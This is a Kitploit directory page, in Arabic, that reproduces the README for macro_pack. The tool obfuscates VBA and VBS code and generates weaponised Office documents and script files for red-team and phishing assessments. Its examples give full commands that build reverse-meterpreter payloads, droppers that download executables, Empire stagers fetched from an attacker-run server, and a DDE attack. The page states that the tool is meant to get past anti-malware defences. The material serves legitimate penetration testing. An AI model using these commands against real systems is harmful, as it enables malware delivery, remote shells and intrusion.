Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
macro_pack — macro_pack هي أداة من إعداد @EmericNasi تُستخدم لأتمتة عملية التمويه (Obfuscation) وتوليد مستندات Office، وسكربتات VB، والاختصارات، وصيغ أخرى لصالح اختبار الاختراق (Pentest)، والعروض التوضيحية، وتقييمات الهندسة الاجتماعية. الهدف من macro_pack هو تبسيط عملية الاستغلال، وتجاوز برامج مكافحة البرمجيات الخبيثة، وأتمتة المسار بدءًا من توليد الماكرو والسكربتات الخبيثة وصولًا إلى توليد المستند النهائي. كما يوفر العديد من الميزات المفيدة للفرق الحمراء (Red Team) أو للبحث الأمني. | Kitploit
أدوات/GitHubGitHub/sevagas/macro_pack
أدوات التصيدأطر الاستغلالتوليد الحمولةالحركة الجانبيةالبرمجة النصية والأتمتةاستغلال تطبيقات الويباختبار الاختراقالهندسة الاجتماعيةالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

macro_pack هي أداة من إعداد @EmericNasi تُستخدم لأتمتة عملية التمويه (Obfuscation) وتوليد مستندات Office، وسكربتات VB، والاختصارات، وصيغ أخرى لصالح اختبار الاختراق (Pentest)، والعروض التوضيحية، وتقييمات الهندسة الاجتماعية. الهدف من macro_pack هو تبسيط عملية الاستغلال، وتجاوز برامج مكافحة البرمجيات الخبيثة، وأتمتة المسار بدءًا من توليد الماكرو والسكربتات الخبيثة وصولًا إلى توليد المستند النهائي. كما يوفر العديد من الميزات المفيدة للفرق الحمراء (Red Team) أو للبحث الأمني.

Archived
GitHubsevagas/macro_pack

macro_pack

عرض المستودعالموقع الإلكتروني
2.3k41421منذ 2 سنواتتمت المراجعة من قبل Kitploit
مشاركة

Supported Python versions

macro_pack

وصف قصير


تحذير: لم يتم صيانة MacroPack منذ عام 2021، إذا كنت محترفًا وتحتاج إلى أدوات هجومية للأمن السيبراني للوصول الأولي، افتراض الاختراق، تجاوز EDR، تفضل بزيارة https://www.balliskit.com


MacroPack Community هي أداة تُستخدم لأتمتة التعتيم (obfuscation) وإنشاء الصيغ القديمة مثل مستندات MS Office أو صيغ VBS المشابهة.
كما تتعامل مع عدة صيغ للاختصارات.
يمكن استخدام هذه الأداة في اختبارات الفرق الحمراء (red teaming)، اختبارات الاختراق، العروض التوضيحية، وتقييمات الهندسة الاجتماعية.
ستبسط MacroPack عملية تجاوز حلول مكافحة البرامج الضارة وتؤتمت العملية من كود vb المصدر إلى مستند Office النهائي أو نوع الحمولة الآخر.
استخدامها بسيط جدًا:

  • لا حاجة لتكوين مسبق
  • يمكن فعل كل شيء بسطر واحد من الكود
  • إنشاء أغلب صيغ Office والصيغ المعتمدة على VBS
  • حمولات مصممة لهجمات هندسة اجتماعية متقدمة (بريد إلكتروني، مفتاح USB، إلخ)

الأداة متوافقة مع الحمولات المولدة بواسطة أدوات اختبار الاختراق الشائعة (Metasploit, Empire, ...).
من السهل أيضًا دمجها مع أدوات أخرى حيث يمكن قراءة المدخلات من stdin والحصول على مخرجات هادئة لأداة أخرى.
هذه الأداة مكتوبة بلغة Python3 وتعمل على منصتي Linux و Windows.

ملاحظة: يتطلب نظام Windows مع تطبيقات MS Office المناسبة مثبتة لإنشاء مستندات Office تلقائيًا أو ميزات الترويج (trojan).

عرض توضيحي 1

التعتيم (Obfuscation)

ستستخدم الأداة تقنيات تعتيم متنوعة، كلها تلقائية.
ميزات التعتيم متوافقة مع جميع الصيغ المعتمدة على VBA و VBS التي يمكن إنشاؤها بواسطة MacroPack.
التعتيم الأساسي (خيار -o) يشمل:

  • إعادة تسمية الدوال
  • إعادة تسمية المتغيرات
  • إزالة المسافات
  • إزالة التعليقات
  • ترميز السلاسل النصية

الإنشاء (Generation)

يمكن لـ MacroPack إنشاء عدة أنواع من مستندات MS Office وصيغ البرامج النصية.
سيتم تخمين الصيغة تلقائيًا اعتمادًا على امتداد الملف المعطى.
يتم إنشاء الملف باستخدام الخيار --generate أو -G.

تسمح لك النسخة الاحترافية من MacroPack أيضًا بترويج (trojan) ملفات Office موجودة مسبقًا باستخدام الخيار --trojan أو -T.

الصيغ المدعومة من MS Office هي:

  • MS Word (.doc, .docm, .docx, .dotm)
  • MS Excel (.xls, .xlsm, .xslx, .xltm)
  • MS PowerPoint (.pptm, .potm)
  • MS Access (.accdb, .mdb)
  • MS Visio (.vsd,.vsdm)
  • MS Project (.mpp)

الصيغ النصية (scripting) المدعومة هي:

  • ملف VBA نصي (.vba)
  • ملف VBS نصي (.vbs)
  • ملف Windows Script File (.wsf)
  • مكونات Windows Script Components (.wsc, .sct)
  • تطبيقات HTML (.hta)
  • ورقة أنماط XSLT (.xsl) (نعم، XSLT من مايكروسوفت تحتوي على نصوص برمجية ^^)

الصيغ المدعومة للاختصارات/القشرة هي:

  • اختصار Shell (.lnk)
  • ملف أوامر Explorer (.scf)
  • اختصار URL (.url)
  • اختصارات Groove (.glk)
  • اختصارات الإعدادات (.settingcontent-ms)
  • مكتبة MS (.library-ms)
  • معلومات الإعداد (.inf)
  • استعلام ويب Excel (.iqy)
  • مشروع Visual Studio (.csproj)
  • سطر أوامر (.cmd)
  • ارتباط رمزي (.slk) - النسخة الاحترافية فقط
  • ملف تعليمات مضغوطة (.chm) - النسخة الاحترافية فقط

لاحظ أن جميع صيغ البرامج النصية والاختصارات (باستثناء LNK) يمكن إنشاؤها على نسخة Linux من MacroPack أيضًا.

الاستخدام الأخلاقي

يجب استخدام هذا البرنامج فقط في سياق تمرين الفريق الأحمر (Red Team)، اختبار الاختراق، محاكاة التصيد، البحث الأمني، أو أي شكل آخر من تقييمات الأمان، مع الحصول على إذن قانوني ورسمي من مالكي النظام.
استخدام هذا البرنامج لمهاجمة أهداف دون موافقة مسبقة محظور وغير قانوني.
تقع على عاتق المستخدم مسؤولية الامتثال لجميع القوانين المحلية والولائية والفدرالية والوطنية المعمول بها.
نحن لا نتحمل أي مسؤولية ولا نكون مسؤولين عن أي إساءة استخدام أو ضرر قد يحدث نتيجة استخدام هذا البرنامج.

حول الوضع الاحترافي...

ليست كل الإمكانيات والخيارات المتوفرة في MacroPack متاحة في MacroPack Community.
فقط النسخة المجتمعية متاحة على الإنترنت.
ميزات النسخة الاحترافية هي حقًا "تسليح" للعملية، ولذلك يقتصر الوصول إليها على المحترفين.
يشمل الوضع الاحترافي ميزات مثل:

  • تجاوز متقدم لمكافحة البرامج الضارة
  • طرق حقن شيل كود متقدمة
  • تعتيم سطر الأوامر (Dosfuscation)
  • تجاوز ASR و AMSI
  • حمولات VBA/VBS ذاتية الفك
  • ترويج ملفات MS Office الموجودة، ملفات المساعدة ومشاريع Visual Studio
  • تضمين حمولة خداعية (decoy)
  • الحركة الجانبية باستخدام كائنات DCOM
  • مكافحة الهندسة العكسية
  • كشف بيئة الاختبار (sandbox detection)
  • دعم المزيد من الصيغ مثل SYLK من Excel 4.0 وملفات المساعدة المضغوطة
  • تشغيل حمولة VB متقدمة من صيغ غير اعتيادية
  • قوالب مسلحة وقوالب إضافية (مثل EMPIRE، AUTOSHELLCODE)
  • ماكرو Excel 4.0 (XLM)
  • وأكثر من ذلك بكثير…

تتوفر بعض فيديوهات العرض التوضيحي القصيرة على قناة BallisKit على Vimeo.

هام: إذا كنت ترغب في الاتصال بي بشأن MacroPack pro، استخدم عنوان بريدي الإلكتروني emeric.nasi [at] sevagas.com.
لن أرد على الاستفسارات المجهولة بخصوص النسخة الاحترافية، بل فقط على الرسائل الإلكترونية المهنية.

التشغيل/التثبيت

تشغيل الملف الثنائي على Windows

  1. احصل على أحدث ملف ثنائي من https://github.com/sevagas/macro_pack/releases/
  2. قم بتحميل الملف الثنائي على جهاز كمبيوتر مثبت عليه Microsoft Office أصلي.
  3. افتح وحدة التحكم، انتقل إلى دليل الملف الثنائي واستدعِ الملف الثنائي، بهذه البساطة!```bash macro_pack.exe --help
### التثبيت من المصادر

يجب أن تكون على جهاز يعمل بنظام Windows لبناء أداة MacroPack. قم بتنزيل وتثبيت التبعيات:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

الأداة مكتوبة بلغة Python 3، لذا ابدأ بتثبيت python3 الخاص بك. مثال:```bash python3 macro_pack.py --help

or

python macro_pack.py --help # if python3 is default install

إذا كنت ترغب في إنتاج ملف exe مستقل باستخدام pyinstaller:  
* تثبيت pyinstaller: pip install pyinstaller
* انقر مزدوجًا على السكريبت "build.bat".

سيكون الملف الناتج macro\_pack.exe داخل دليل **bin**.  


## بعض الأمثلة

### مجتمع MacroPack

- قائمة بجميع صيغ الملفات المدعومة```bash
macro_pack.exe --listformats
  • قائمة بجميع القوالب المتاحة```bash macro_pack.exe --listtemplates
- إخفاء ملف vba الذي تم إنشاؤه بواسطة msfvenom ووضع النتيجة في ملف VBA جديد.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
  • إخفاء ملف Empire stager VBA وإنشاء مستند MS Word:```bash macro_pack.exe -f empire.vba -o -G myDoc.docm
- إنشاء ملف MS Excel يحتوي على dropper مبهم (تنزيل payload.exe وتخزينه كـ dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 
  • إنشاء مستند Word 97 يحتوي على حمولة VBA مُبهمة من نوع reverse meterpreter داخل مجلد مشترك```bash msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \REMOTE-PC\Share\meter.doc
- تنزيل وتنفيذ Empire Launcher stager بدون powershell.exe باستخدام قالب DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher 
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack  to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
  • تنفيذ calc.exe عبر هجوم تبادل البيانات الديناميكي (DDE)```bash echo calc.exe | macro_pack.exe --dde -G calc.xslx
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
تنزيل الأداة